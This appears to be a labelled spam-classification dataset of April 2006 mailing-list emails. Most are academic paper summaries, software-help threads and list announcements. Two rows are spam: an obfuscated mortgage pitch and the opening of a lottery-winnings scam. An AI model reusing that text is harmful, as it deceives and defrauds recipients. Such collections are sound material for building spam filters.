Overlay Network Overcast is an overlay network that was designed as an alternate to network level IP multicasting. Overcast is designed to provide a tree-like structure to facilitate single source multicasting in a scalable and efficient manner. Overcast builds a tree through by having nodes that join the network move further and further away from the source until performance drops below a certain threshold. The joining node will successively contacts children of nodes and moves down the tree if the bandwidth achieved through the children is close to that of the parent. In the case that bandwidths between multiple children are similar, the closest node (in terms of network hops) is selected. The system is currently setup to measure bandwidth with 10K transfers, but it is noted that this may not be the optimal solution. Once in the network, nodes periodically update their position by testing bandwidth a few levels up the tree. Since nodes maintain knowledge of nodes further up the tree, they can re-associate themselves in the event of a parent or other higher level node failure. The system also has an up/down protocol to help maintain state in the network. ""Death"" and ""birth"" certificates are distributed up the tree when nodes leave the network, join, or find new parents. Parent nodes never initiate contact with children while children periodically check in with parents. Any node in the system knows the parents of all of its descendents. Since the root in this kind of tree is particularly vulnerable, a simple system of linear roots is provided to provide some extra reliability. One of the issues seen in this system is that there could be an issue with latency with the deep tree approach that is advocated. This is noted to not be the metric that Overcast is considering, but it seems to be something that could be important given that one of the main applications that Overcast is designed to support is live broadcasting of media. Given this particular application, the analysis section does not seem to consider some of the major churn that could be associated with the broadcast of something like a live TV channel. It seems to be reasonable to expect that a huge number of nodes may join to obtain popular content, and that viewers would fluctuate significantly throughout the day. Also, it seems that load may have been better distributed in the system if there was some mechanism to engage nodes ""across"" the tree, as seen in some other multicasting systems. ",0,0 Philip Kuryloski ,egs+summary@cs.cornell.edu,"Thu, 06 Apr 2006 02:07:25 -0400",PAPER 19,"OVERCAST The primary purpose of the Overcast overlay network is to provide an efficient and better alternative to IP Multicast. As it is implemented as an overlay, it does not require changes to network routers or other hardware, and thus can be deployed incrementally. Also, it is designed for the multicast of content which must be delivered in its entirety, rather than dynamically shaping content to ensure real time delivery like some other multicast schemes. Overcast also differs from IP multicast in that it allows only single- source multicast. Overcast was implemented as a linux app with a single source and multiple clients, distributing video content. The distribution tree is identified by a url, allowing clients to contact the root through the url, which then directs the requester to download from the nearest client machine with the content. When a node joins the system, it must know the address of an overcast root, which it contacts to receive information indicating which nodes it should contact and what area of the internet it should serve. Nodes attempt to organize themselves in as deep a distribution tree as possible which does not sacrifice their bandwidth connecting them to the source. The root is eliminated as a single point of failure by replicating the root and using traditional DNS resolution techniques to spread request over the replicas. The system has been implemented on 10s of nodes, and so is tested for larger networks (600 nodes) through simulation. They find that if Overcast nodes are placed as if they are part of an IP Multicast backbone, the system is most effective, but achieves 80% of that bandwidth if nodes are randomly placed. However, they have no simulation results to indicate how effective the system may actually seem to the end user. Although the system is self configuring, they simulate nodes placed on relatively high speed links (T1, T3). This indicates that care must be taken when deploying the system, and that it cannot be adopted by ""standard users"" of the internet who do not have multi-megabit connections. ",0,0 Andrew Cunningham ,egs+summary@cs.cornell.edu,"Thu, 06 Apr 2006 01:11:13 -0400",PAPER 19,"Andrew Cunningham arc39 Overcast: Reliable Multicasting with an Overlay Network John Jannotti, David K. Gifford, Kirk L. Johnson, M. Frans Kaashoek, James W. O'Toole Jr. Slightly showing its age, Overcast is an unsophisticated system that belies considerable power, allowing single transmitter broadcast of arbitrary information through an overlay network. The insight is that it is quite likely that transmitter bandwidth and later nodes' bandwidth are somewhat unrelated; in specific, there exist optimal topologies to perform this distribution. The additions are that it uses permanent storage to boost existing network performance, a simple protocol for forming efficient and scalable distribution trees that adapt to changes in the conditions of the substrate network, a novel protocol for maintaining global status at the root of a changing distribution tree, for quick joins, and to do it all efficiently. Attention is given to deployability, with many choices for the algorithm decided by the actual behavior of firewalls and NATs, using HTTP TCP to perform its activities (for maximum applicability). Joining the network consists of contacting a node already in the distribution tree and then modifying to maintain maximal bandwidth to the root; starting at the root, the node will try to locate itself further from the root based on bandwidth through current and through each of current's children, for current beginning at the root, and breaking ties with number of substrate hops (via traceroute). To keep track of remote events, there are periodic heartbeats sent, which include update information from the child to the parent. To alleviate the burden on the root, some requests are redirected via DNS name of the root resolving to multiple addresses and to improve crash performance, there are multiple copies of the root maintained (linear children). The flaws of this paper are due to age, not the paper itself; it's clear that the behavior of the multicast tree is passed by systems such as Bullet and SplitStream, to name a few. However, as a first stab, the system is quite scalable, though suffering from scalability problems at the root itself, and reasonably efficient. The experimental data support the thesis of the paper, but moreover, the attempts made at tree reassembly and self-assembly are sufficiently advanced to be recognized as an acheivement. The choice of protocol medium is ingenious, allowing easy integration of existing technologies, and the attention to implementability, though accompanying the reminder of lack of actual implementation, is well appreciated. ",0,0 Niranjan Sivakumar ,egs+summary@cs.cornell.edu,"Thu, 06 Apr 2006 01:38:01 -0400",PAPER 18,"Niranjan Sivakumar Modeling and Performance Analysis of BitTorrent-Like Peer-to-Peer Networks This paper deals with the development of a model to analyze a variety of performance related characteristics of a BitTorrent. The main issues that were considered are peer evolution, scalability, effectiveness of file sharing, and incentives. The authors based their approach on a fluid model. Peers in the model are considered to not always ""play by the rules"" and there are provisions for simulating peers that may leave the system without completing a download and seeding. The authors claim that scalability and file sharing effectiveness are generally good in BitTorrent. The download rate did not seem to be adversely affected by the rate of incoming queries, meaning that the system did not generally get bogged down as more peers joined. As the arrival rate of peers increases, performance should slowly improve. An interesting observation that was made is that although upload speeds may often be much slower than download speeds for Internet connections, the upload rate was not always the limiting factor in BitTorrent swarms. In cases where the seed departure rate was less than the joining rate, the downloding bandwidth ultimately determined the performance. The incentive mechanism was shown generally to incentivize sharing files at a high rate. However, it was also noted that BitTorrent itself does not provide any incentives for nodes to seed files. Free riders were shown to be able to get 20% of the possible maximum downloading rate because of optimistic unchoking. This was considered to be a problem, and it is proposed that the system may be tuned to decrease it. One of the biggest issues seen with this paper is that a ""popular"" file was not inserted into the network. The claim that introducing a popular file into a BitTorrent network would necessarily infringe copyrights seems to be a dubious claim that provided for a less than optimal simulation. While there is probably a legitimate debate as to the quantity of files transferred with BitTorrent that may be infringing, there are certainly very visible examples of legitimate, non infringing files and very popular content that has been distributed via the network. ",0,0 Ari Rabkin ,egs+summary@cs.cornell.edu,"Thu, 06 Apr 2006 02:45:32 -0400",PAPER 19,"Overcast: Overcast is a tree-based multicast system. Nodes connect to a root, and explore down the tree, along the path that yields the greatest bandwidth. As a result, a node will (hopefully) come to rest at the bottom of the tree, with the property that the root-to-node bandwidth is large. Each node keeps track of both ancestors and descendants, so failure recovery is straightforward. The overall throughput is quite high, though not so high as mesh-based systems such as SplitStream and Bullet. Overcast does put significant stress on the root node, requiring chain replication to ensure fault-tolerant behavior. The time to reconnect if a node goes down may be substantial, with the system relying on caches at each node to replay lost content. The high latency of deep trees may make Overcast unsuitable for applications other than streaming content or file distribution. Since the system relies on nodes to execute the protocol properly, Overcast cannot be deployed on untrusted nodes. Overcast is an effective system to run on dedicated multicast servers, but is not a general peer-to-peer multicast system. Ari Rabkin asr32@cornell.edu Risley Hall 454 3-2842 The resources of civilization are not yet exhausted. --William Gladstone ",0,0 Milward James ,DMDX@psy1.psych.arizona.edu,"Thu, 06 Apr 2006 11:58:59 +0100",[DMDX] Problem with Katakana ,"I’m trying to display Katakana text as visual stimuli but we are having problems; When there are specific diacritics which have parts that look like quotation marks, DMDX interprets this as a quotation mark and then subsequently makes the frame end. Is there any way to display quotation marks as visual stumli, so to negate a quotation mark within quotation marks if you get me? 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",DMDX@psy1.psych.arizona.edu,"Thu, 06 Apr 2006 08:05:12 -0700",[DMDX] Re: Problem with Katakana ,"At 11:58 AM 4/6/2006 +0100, you wrote: >xmlns:ns0=""urn:schemas-microsoft-com:office:smarttags""> > >I m trying to display Katakana text as visual stimuli but we are having >problems; When there are specific diacritics which have parts that look >like quotation marks, DMDX interprets this as a quotation mark and then >subsequently makes the frame end. Is there any way to display quotation >marks as visual stumli, so to negate a quotation mark within quotation >marks if you get me? This is a problem older versions of DMDX suffered from, I'd try the current version. It's possible you have a new font class that DMDX needs to know about that can't ever have Word's insane 'smart' quotes, however the easy way to check is to try the current version. If the problem persists you can send me (not the list) the RTF item file and a description of which frames are suffering from the problem and I'll look up the font's class in the RTF's headers and add it to the list of font classes that won't ever have smart quotes. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The world wants to be deceived. ",0,0 Kenneth Forster ,DMDX@psy1.psych.arizona.edu,"Thu, 06 Apr 2006 10:05:05 -0700",[DMDX] RE: Problem with Katakana ," James, We had exactly the same problem with Chinese characters, and switching to the latest version of DMDX solved the problem. We've also been working with Katakana, and have had no problems. --k.i.f. ",0,0 Ivan Stoyanov ,egs+summary@cs.cornell.edu,"Thu, 06 Apr 2006 10:43:32 -0400",PAPER 19,"Overcast builds an overlay network out of dedicated hosts placed at strategic locations. Hosts self-organize themselves into a distribution tree rooted at the source. Clients request content via a HTTP request to the root. The root selects the most appropriate leaf node and redirects the client to it. Link choices are optimized for bandwidth. The tree is generated by maximizing the bandwidth from the candidate node to the root, placing it as deep as possible, without sacrificing bandwidth to the source. This is done by starting at the root and recursively probing the available bandwidth to the current node directly and through each of its children. Bandwidth is measured by determining the download time of 10 Kbytes. Nodes periodically reevaluate their position in the tree by measuring bandwidth to its siblings, parent and grandparent and make decisions based on the same logic. This periodic check allow the tree to adapt to the changing network conditions and serves as a failure recovery mechanism for non-root nodes. In addition, each node periodically reports statistical information up to the root, to facilitate client redirection decisions. The paper makes an interesting point about streaming content delivery. With an IP multicast infrastructure, clients can only receive packets in real time. However, in ALM nodes can leverage the availability of storage in the overlay by serving non-real time client requests . Overcast is a simple protocol for ALM that is designed to will work well in a dedicate infrastructure environment (it is not designed to handle high churn, to quickly recover from failure, etc). If applied for as a peer-to-peer solutions, it will be unfair towards inner nodes in the tree compared to leaf nodes. A deep tree may incur higher latencies, but in a video streaming environment a delay of several seconds is generally not considered an issue. ",0,0 Nicholas S Gerner ,egs+summary@cs.cornell.edu,"Thu, 06 Apr 2006 10:45:35 -0400",PAPER 19,"Overcast is a system supporting single-source multi-cast on an application overlay focussed on real-world deployment issues. The fundamental goal of Overcast is to easily deploy a system supporting high-bandwidth root-to leaf streams to very large numbers of standard webclients. To achieve this Overcast defines a tree construction and maintenance protocols. Combined these allow a client to contact the root of a multi-cast group which will the automatically select the best node for the client to connect to in order to receive the high-bandwidth stream. Tree construction is carried out by the root and ""applicances"" which are dedicated tree-internal nodes. These nodes start at the root and descend the tree as it is constructed to locate themselves as deep in the tree as possible while still maintaining high-bandwidth to the root. This is accomplished by testing the bandwidth from the root directly through the current parent (starting at the root), and the bandwidth achieveable from each sibling. If one of the siblings bandwidth to the root is within 10% of that through the current parent, the sibling with fewest hops from the node in question is selected as the new parent and the process repeats until no such sibling can be found. Tree maintenance is accomplished by having children periodically contact parents, grandparents and siblings (to find new parents if necessary). Nodes aggregate these heartbeats and send changes to their parents. This process recurses up the tree (always sending only the deltas) to the root so each node has a full view of the current membership of its subtree. When a client requests the stream it contacts the root via a standard HTTP URL, and the root redirects the client to the ""best"" appliance (by some metric) given the full view the root has. Overcast is aimed at large-scale, high-bandwidth applications and focusses on ease of deployment. Consideration of nodes behind firewalls are considered (for instance, parents never contact children which may be behind a firewall, and all communications are done over HTTP on port 80), the appliances are assumed to be dedicated machines and so a high churn environment is avoided, and the multi-cast is single-source. It seems that several important problems are left unaddressed. The tree-maintenance load on nodes is argued to be sub-linear in the size of the tree, however in some cases (such as a child of the root choosing a new parent) the load could be linear in the size of the sub-tree involved. This is shown in experimentation, although not the ""common case"". It also seems as if the bandwidth achieved after the tree is constructed could be very different from the bandwidth achieved during construction. If an internal node is the parent of many nodes its outbound bandwidth will be divided amongst those children and this could be a bottle neck. No discussion of how to avoid overloading nodes is made (although this may not be a problem given the parent selection algorithm). While the paper is aimed at high-bandwidth applications in real-world deployments, the experimentation presented is not of a real-world deployment and does not investigate the end-application bandwidth achieved by unmodified HTTP clients. ",0,0 Theodore Ming Shiuan Chao ,egs@cs.cornell.edu,"Thu, 06 Apr 2006 11:01:09 -0400",paper 19,"Overcast is an application-level multicasting system that is layered on top of a network overlay. The goals of the authors was to create a scalable, reliable multicast system that can used for a variety of tasks and not just streaming. The authors used the generic multicast tree as a backbone, rendering the system as a single-source multicast, which the authors argue is sufficient for almost all purposes. The tree building protocol works by first comparing the new node to the root's children. If any of the children are suitable, it picks the most suitable one and goes down that brach and recurses, until it reaches a node that does not have any suitable children. Suitability for Overcast is determined by bandwidth. In order to deal with changes in state, Overcast nodes periodically reevaluate suitability with their sibilings and parent, and shifts position accordingly. Additionally, changes in position, whether because of suitability changes or node deaths, result in a propogation of change certificates up the tree to inform parents of the changes (since each parent must know about all of its descendants). The certificates are killed once they reach node that does not see the certificate as a change (ie. the node changed was already a descendent of it, and thus does not reflect a change from its point of view). One problem I noticed about Overcast is that in addition to the certificate race condition that is fixed by using sequence numbers, there seems to be a race condition with the changes themselves. Take two siblings that find that the other is suitable during the reevaluation period. The node that reconnects itself below the other would be dependent on which node notices it first, and it seems possible for each node to try to position itself below the other, resulting either in a failure or two nodes that both think the other one is its parent. The solution for this would simply be to go through the parent to make this change. The parent would then recognize that only one of the requests is valid and only approve one of the two. Another issue is that optimizing bandwidth means that the tree could become extremely unbalanced. Additionaly, I do not see the bandwidth optimization taking into account the number of links a node has since those links will be inactive during the entry phase of a new node with high probability. The bandwidth available to each link would not be accurately estimated until a new file is multicasted and the parent node tries to send it down all the links concurrently. ",0,0 ,,,Re: can a sequence of events also be considered a hierarchy? - Music," --- complex-science@necsi.org wrote: > > > I am reminded of music as a sequence of events that > has a hierarchical > structure of bars, phrases, melodies etc and there > was a nice analysis of > the temporal structure of some folk songs in a > recent article in Physica A. > They made a return map of notes that included the > space between them I > think and did some very fancy analysis of the > resulting structure. > > Ian > I wonder if you mix up the 'describing' (etc) SCIENCE of music with MUSIC itself? Art is different from a description of its details. JM ",0,0 Chiu Wah Kelvin So ,egs+summary@cs.cornell.edu,"Thu, 06 Apr 2006 08:47:05 -0400",Paper 19," The paper, ""Overcast: Reliable Multicasting with an Overlay Network,"" presents an application-level multicasting system for bandwidth-intensive content. Unlike IP multicast, which is difficult to deploy in real world, application-level multicast is easily and incrementally deployable. Also, it is adaptable, robust and customizable. The main protocol of the system is to build a single source multicast tree. To maximize bandwidth to the root for all nodes in tree construction, each node tries to locate the Overcast root. Then, the new node attempts to locate itself further down in the tree without sacrificing bandwidth to the root. It will also periodically reevaluate its position in the tree by measuring bandwidth with sibling, parent and grandparent, so it can adapt to network changes. Overcast nodes also need to keep track of all the aliveness status of the descendants using a Up/Down protocol. Each node periodically contacts its parent. If the parent doesn't receive the child contact within certain interval, the parent will assume the child and all the descendants to fail and send death certificates up the tree. Birth certificates are also issued when a new node joins. It also tries to replicate the root to avoid single point of failure. This system is designed to use as an infrastructure, so it is not designed to handle high rate of churn. Client doesn't participate in disseminating the data. It locates a closest overcast node to receive a multicast stream. Because this work is one of the first works in application-level multicasting, it doesn't address all the issues, such as scalability, churn, and efficiency. It doesn't scale well under intensive nodes joining the network because the nodes in the top level Overcast hierarchy need to handle large number of join requests. Also, when nodes fails, nodes will need to migrate to other part of the tree to continue receive the streaming. However, Bullet is more resilient to node departures since it can as well receive streaming from perpendicular peers. Second, Overcast doesn't utilize the client upload bandwidth to disseminate the data. SplitStream utilizes the leaf node upload bandwidth to improve efficiency by building multiple disseminating trees. ",0,0 Abhishek Santosh Gupta ,egs+summary@cs.cornell.edu,"Thu, 06 Apr 2006 11:59:15 -0400",paper 19 - OVERCAST,"OVERCAST Overcast provides a scalable and reliable single-source multicast using an overlay network design. an overlay network consists of a collection of nodes placed at strategic locations in existing network fabric. pros of using an overlay network: 1) incrementally deployable - no change in existing Internet infrastructure, only additional servers 2) adaptable - packets can be made to flow over links which are optimized over metrics that matter to the application 3) robust - ability to route around faults immediately 4) customizable cons of using an overlay network: 1) management complexity 2) inefficient - cannot be as efficient as code running in every router 3) information loss due to the presence of firewalls,NATs must be prevented basic goals: 1) deployment must require little or no human intervention 2) costs per node must be minimized 3) unmodified HTTP clients must be able to join multicast groups basic idea: distribution trees are built for single-source multicasting and a ""up/down"" protocol is used to maintain global state of the network efficiently tree building protocol: a new node contacts the root and becomes its' child. this new node now adjusts its position in the tree by checking the bandwidth from its parent's children to it(from the root node). If the bandwidth available is about as high as the current bandwidth the node now becomes a child of this node (which was a child of its parent) 10K byte packets are used for this measurement - this gives better results than using ping packets when the reported bandwidth is within 10% of each other, the closer node is selected (according to traceroute) nodes also periodically recheck their decision to locate under their parent via packets to its parent,grandparent. this makes the design highly tolerant to failures. However, malicious nodes can choose to respond to these ""up"" messages but not forward actual data packets - thereby disrupting multicasting (cycles are also prevented while creating trees) UP/DOWN protocol this enables to keep track of alive nodes each node maintains a table of all other nodes in the hierarchy lower than itself. this table is stored on disk and cached in the memory of the node (although size of such tables should be linearly proportional to number of nodes in the system for nodes close to the root) node failures detected by failure to check in than by active probing. this protocols involves birth,death, extra-information certificates along with certificates propagated by a nodes's children(this requires a parent pointer) sequence numbers used to resolve conflicting certificates. robustness increased by replicating the root as a chain on the top. ",0,0 Shireen Rivers ,complex-science@necsi.org,"Thu, 06 Apr 2006 06:22:57 -0700",Re: ueqii news,"Dea g r Home O m wne j r , Your cr f edi d t doesn't matter to us ! If you O d WN real e a st u at d e and want IM v MED u IAT v E ca o sh to sp e en o d ANY way you like, or simply wish to LO i WER your monthly pa u ymen e ts by a third or more, here are the deal s s we have T c OD x AY : $ 4 v 88 , 000 at a 3 , r 67% f k ixed - rat o e $ 3 o 72 , 000 at a 3 , 9 m 0% v b ariabl w e - rat t e $ 49 x 2 , 000 at a 3 , c 21% i t nteres c t - only $ 24 p 8 , 000 at a 3 , m 36% fi t xed - rat v e $ 1 w 98 , 000 at a 3 , f 55% vari r able - ra b te H y urry, when these deaI g s are gone, they are gone ! Don't worry about a g ppro u val, your cr t edi n t will not d c isqual z ify you ! V x isi t t ou t r site Sincerely, Shireen Rivers A b pprov i al Manager",1,1 US-CERT Security Bulletins ,security-bulletins@us-cert.gov,"Thu, 06 Apr 2006 16:04:29 -0400","US-CERT Cyber Security Bulletin SB06-096 -- Summary of Security Items from March 30 through April 5, 2006 ","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Summary of Security Items from March 30 through April 5, 2006 This bulletin provides a summary of new or updated vulnerabilities, exploits, trends, viruses, and trojans from March 30 through April 5, 2006, and is available here: For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRDVzSn0pj593lg50AQJXTggAg1ICh/KjMrhbVSJVpjFRccpEJv2zl7MW oOy0UKdNYIYgGWUuiksjthSMtGtN3NS44CVkN50Iqzo14o3ernFIN/ciRt8wVbbu 91XymxmtFqsvYw+vTBo40zzutro43srrZUxJ0H2735BFHgcGw6mLbs8cXmnu0ufh 3f5WR5xRh1ho4yIhfBnaIU+gZkyQl7WD9+Mqm/q/1nIgM1zVMnw62hblEF/k6AFH ufF71JNQgF93qTeib2eGf93AOa6O/HR+94V2f3Opw9LaY82dJt3rzcrwJHIyOv+7 /4VkWsB70X/7z+KxoD+cA0kcDI/bpj2/LA6D69SMfZ/Ip0UF3e3M8Q== =VZSM -----END PGP SIGNATURE-----",0,1 Peter Suber ,SPARC-OAForum@arl.org,"Thu, 06 Apr 2006 14:48:05 -0400",Needed: a speaker on tech services for IRs,"[Forwarding from Andrea Imre. --Peter.] The ALCTS Scholarly Communication Discussion Group is looking for speakers for its meeting at the ALA Annual meeting, New Orleans, on Monday June 26, 2006, from 1:30-3:30 pm. We are looking for speakers who are willing to discuss the role of technical services in institutional repositories. Additional time will be allowed for questions and answers. Please respond to Brad Eden, brad.eden@unlv.edu, by April 21, 2006. Thanks. We will also be looking for a new Vice-Chair/Chair Elect. If you are interested, please contact Andrea Imre at aimre@lib.siu.edu. Thanks. Brad Eden, Ph.D. Chair, ALCTS Scholarly Communications Head, Web and Digitization Services University of Nevada, Las Vegas Libraries brad.eden@unlv.edu Andrea Imre Vice-Chair, ALCTS Scholarly Communications Electronic Resources Librarian Southern Illinois University Carbondale aimre@lib.siu.edu ----------------------------------------------------- Andrea Imre Electronic Resources Librarian Morris Library Mail Code 6632 Southern Illinois University Carbondale 605 Agriculture Drive Carbondale, IL 62901 Phone: (618) 453-4339 Email: aimre@lib.siu.edu ",0,0 Souhila Messaoud-Galusi ,DMDX@psy1.psych.arizona.edu,"Thu, 06 Apr 2006 22:57:13 +0100",[DMDX] Re: record long output sounds,"On the desktop, around 607000 available and on the laptop around 650000. Error on both computer when is superior to 48500. Souhila At 01:58 05/04/2006, you wrote: > That sounds more like the amount of hard disk space free. To see > how much RAM is free open the task manager with shift-cntrl-ESC, > click on the Performance tab and under Physical Memory you can see > how much is Available. > > >At 06:11 PM 4/4/2006 +0100, you wrote: >>My RAM is 0.99 GB, do you think it is too limiting ? >>Thanks >>Souhila >> >>At 22:54 20/03/2006, Jonathan C. Forster wrote: >> >>>There shouldn't be any particular limit. You could try putting >>>more memory in your machine (RAM, not hard disk) I guess but 49 >>>seconds is only a two megabyte buffer and that's shouldn't be >>>anything amazing. It's possible that your sound drivers are >>>freaking at being told to create a two megabyte buffer I guess. >>> >>>At 07:46 PM 3/20/2006 +0000, you wrote: >>>>Dear all, >>>> >>>>I am using DMDX to run experiments with children and the forum and the >>>>online tips have been of a great help to build the scripts. >>>>I am builiding tests with an animated character presenting non word >>>>repetition and rapid automatic naming tasks and I would like to record the >>>>oral response in a wav file (but not the RT so I used RecordVocal on its >>>>own) and the following mouse response in the azk file. >>>>I managed to do all that with DMDX (thank you) but I cannot >>>>record responses >>>>longer than 30-40 s into .wav file (at DMDX writes ""malloc of >>>>record buffer failed ...""). I guess this means that I am asking >>>>too much but >>>>in case I wanted to ask if there is a special parameter to specify in order >>>>to record 1 or even 2 minutes long files or is 40-ish the max? The best >>>>would be a kind of parameter for recording - but I >>>>think it is >>>>impossible. >>>> >>>>Please find a piece of my script below that works fine :) >>>> >>>>N2 f38 >>>255000255> >>>>0 ""instruction1"" ; >>>>0 ""middle click when ready""; >>>>250 ; >>>>+1 ""+"" / ""1-qoop""/ *""?""; >>>>250 ; >>>>0 ""Time"" ; >>>>0 ""instruction2"" ; >>>>+2 ""+"" / ""2-mar""/ *""?""; >>>>250 ; >>>>0 ""smiley3"", ""Thank You."" / >>>2> ""applause""; >>>> >>>>Would be gratefull for any tips >>>> >>>>Best >>>>Souhila >>>> >>>>Souhila MESSAOUD-GALUSI >>>>Post Doc >>>>UCL (University College London) >>>>Department of Phonetics and Linguistics >>>>Wolfson House >>>>4 Stephenson Way >>>>London NW12HE >>>> >>>> >>>>==================================================================== >>>> Send mail to DMDX-request@psy1.psych.arizona.edu with the word >>>> 'unsubscribe' by itself with no quotes in the body of the email >>>> to be removed from the list. The list archive is available here: >>>> http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >>>>==================================================================== >>> >>> >>> /""\\ >>> -jonathan (j.c.f.) \\ / >>> X >>> ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ >>> >>> Only adults have difficulty with child-proof bottles. >>> >>> >>>==================================================================== >>> Send mail to DMDX-request@psy1.psych.arizona.edu with the word >>> 'unsubscribe' by itself with no quotes in the body of the email >>> to be removed from the list. The list archive is available here: >>> http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >>>==================================================================== >> >>UCL (University College London) >>Department of Phonetics and Linguistics >>Wolfson House >>4 Stephenson Way >>London NW12HE >>TEL 00 44 (0)207 679 5026 (internal 25026) >>FAX 00 44 (0)20 7679 5107 >>Research project http://www.phon.ucl.ac.uk/speechper/ >> >>==================================================================== >> Send mail to DMDX-request@psy1.psych.arizona.edu with the word >> 'unsubscribe' by itself with no quotes in the body of the email >> to be removed from the list. The list archive is available here: >> http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >>==================================================================== > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > The world wants to be deceived. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > UCL (University College London) Department of Phonetics and Linguistics Wolfson House 4 Stephenson Way London NW12HE TEL 00 44 (0)207 679 5026 (internal 25026) FAX 00 44 (0)20 7679 5107 Research project http://www.phon.ucl.ac.uk/speechper/",0,1 """Jonathan C. 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Another is to go further and actually provide a > description of the observed phenomena that can be more directly > related to the observed. This reminds me of Ziman's distinction in science between consensibility (statements with the potential to create consensus) and consensuality (statements that have been tested and are ""universally"" accepted). For Ziman the ideal language for effecting consensibility in science was mathematics. Your issue appears to be with Nash working within mathematics in some purified way that is devoid of or uninterested in consensibility and I'm not sure that isn't throwing out the baby with the bathwater --particularly if a governing dynamic or some other ""abstract"" feature starts being observed elsewhere because of it. > > The point is that Nash essentially provides the former, whilst > Simon criticised this, preferring the later. > Many fields provide conceptual frameworks, one of the things that > differentiates (and is essential to) science is the way it > confronts models with data derived from observations. If there is a > discrepancy scientists should (on the whole) change the model > rather than change the problems to fit the model/framework. Simon > criticised arm-chair economists who had allowed their subject to > retreat into abstraction disconected from such observations, > forming a sort of very-particular branch of mathematics. Nash is a > brilliant developer of such mathematics. The contrast is startling. Again, no real quibble -- except that the retreat into abstraction is never as pure as it purports or its agents would like it to be because abstraction per se can never be purified of the human entanglements giving rise to it in the first place. A model always already brings forth a great deal of consensuality (agreement on what models are, their standard features and conventions, etc.) in an effort to generate consensibility around something putatively new. I also think Simon's impatience needs also be contextualized historically. Cheers Mark Wolfe. PhD www.wolfeassociates.ca 403-850-5770 ",0,0 sharon maxwell ,,"Fri, 07 Apr 2006 05:51:30 -0700",CONTACT THE PAYING BANK," South-West Australia Lottery, 9701 Alexander Mall, Adelaide, South-West Australia. (South-West Australia Lottery is an affiliate of MCI Networks). Santon Square, Complex 21, Netherlands. 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If left to the profs it would never get done. > If the library does this, what are your restrictions on total numbers of documents per faculty member, or on turn around time? No limit on number of items, though if someone goes crazy we'll talk with them. Turn around is first come, first served, period. Many are smart enough to get items in several weeks before the start of the term. Ereserve won't solve the eternal problem of prof announcing in 10 oclock class that something is on reserve for them. Students show up at 1100 (well, a couple of them do). Prof brings the material over after lunch. > Does the library provide the support (staff) to do the linking to material in the databases? How is this handled? I believe in most cases that we simply make a copy of the file on ereserve. Much easier, and access still restricted to university students and staff. dan -- Dan Lester, Data Wrangler dan@RiverOfData.com 208-283-7711 3577 East Pecan, Boise, Idaho 83716-7115 USA www.riverofdata.com The Road Goes On Forever.... ",0,0 """Laura E. Zoubek"" ",net_people@email.rutgers.edu,"Fri, 07 Apr 2006 13:49:06 -0400",[Net_people] Scheduled Maintenance - Week of 04-10-2006," ID: 1343 Description: ESS Systems Maintenance - NETDB Services, TD Web Tools, University FTP Disruption: Outage Campus: Core Systems & Services Start Date: 04/11/2006 1700 End Date: 04/11/2006 2300 Summary: The EMC device providing both SAN and NAS support for TD machines will be upgraded to the latest code release. The services that will be unavailable include but are not limited to: NETDB Services Oracle TD Tools & Web Services University FTP Affected: NETDB Services Oracle TD Tools & Web Services Type: Scheduled ---- ID: 1365 Description: OS Upgrade -Ecomplex-VPN Disruption: Outage Campus: Core Systems & Services Start Date: 04/11/2006 0700 End Date: 04/11/2006 0730 Summary: TD Network Operations will upgrade the VPN Concentrator OS. VPN during may not be available during the scheduled window. Affected: ecomplex-vpn.rutgers.edu Type: Scheduled ---- ID: 1366 Description: Device Upgrade - Camden Network Services Disruption: Outage Campus: Camden Start Date: 04/11/2006 0700 End Date: 04/11/2006 0730 Summary: TD Network Operations will replace the Camden services switches. At this time, a disruption in network services (NTP and DNS) for the ARMI and BSB areas may occur. Affected: ss01-armi-armi, ss01-bsb-bsb Type: Scheduled ---- Network Maintenance Freeze Period - 05-01-2006 through 05-15-2006 In preparation for the end of the University Spring semester, TD Network Operations will suspend maintenance periods. The freeze begins on Monday, 05-01-2006 and will end on Monday, 05-15-2006. During the freeze, no non-emergency changes will be implemented on the University network. Please submit all network change requests by Thursday, 04-27-2006. Thank you. ----- If you have any questions or comments concerning this announcement, please contact the TD-Network Operations Center at 732-445-7541 or at noc@rutgers.edu. Additional information, new issues, and maintenance schedules may be found at- http://www-td.rutgers.edu/tools/Network_Status Thank you for your attention. TD-Network Operations Center -- Laura E. Zoubek Manager, Network Operations Voice: 1(732)445-7505 Email: lzoubek@rutgers.edu _______________________________________________ Net_people mailing list Net_people@email.rutgers.edu https://email.rutgers.edu/mailman/listinfo/net_people ",0,1 ,,,Re: John Nash to receive Herbert A. Simon Award ??????,"I have been surprised and interested in the comments criticizing the choice of John Nash for the Herbert A. Simon Award. The contrasts between Nash's contributions to mathematical theory and Simon's desire to make theory less abstract than that seem appropriate, and correct as far as I know. However, I see Nash as a reasonable recipient of this award from a more historical point of view. In my view Nash's greatest contribution to theory development was to make the transition from narrowly deterministic models that yielded singular outcomes to ones that recognized the importance of contingent interactions among the agents of the process. Nash opened the door to modeling dynamical systems in which outcomes are generated through the contingent interactions of the agents, which can take a variety of paths. This approach provided a basis for understanding counter-intuitive outcomes that would not be expected from an understanding of the motivations of individuals alone. In this respect, I think that Herbert A. Simon would recognize this important step toward the effective modeling of complex systems and applaud the selection of John Nash for this award. Guy Hoelzer On Apr 6, 2006, at 6:48 PM, (Bruce Edmonds) wrote: > Mark Wolfe wrote: >> There might be a fundamental confusion here between ""explanation"" >> and theory building, where you are imputing the former at the >> expense of the latter. For example, .... helps provide a >> framework for those of us doing communication research in >> situ ... . Such theories may not tell us anything concrete in the >> manner you suggest but they provoke and help structure ideas >> around governing dynamics that inspire further work. Surely that's >> not only fair but precisely the point in theory building. > ... my bit snipped... > >> Agreed in principle on blithe 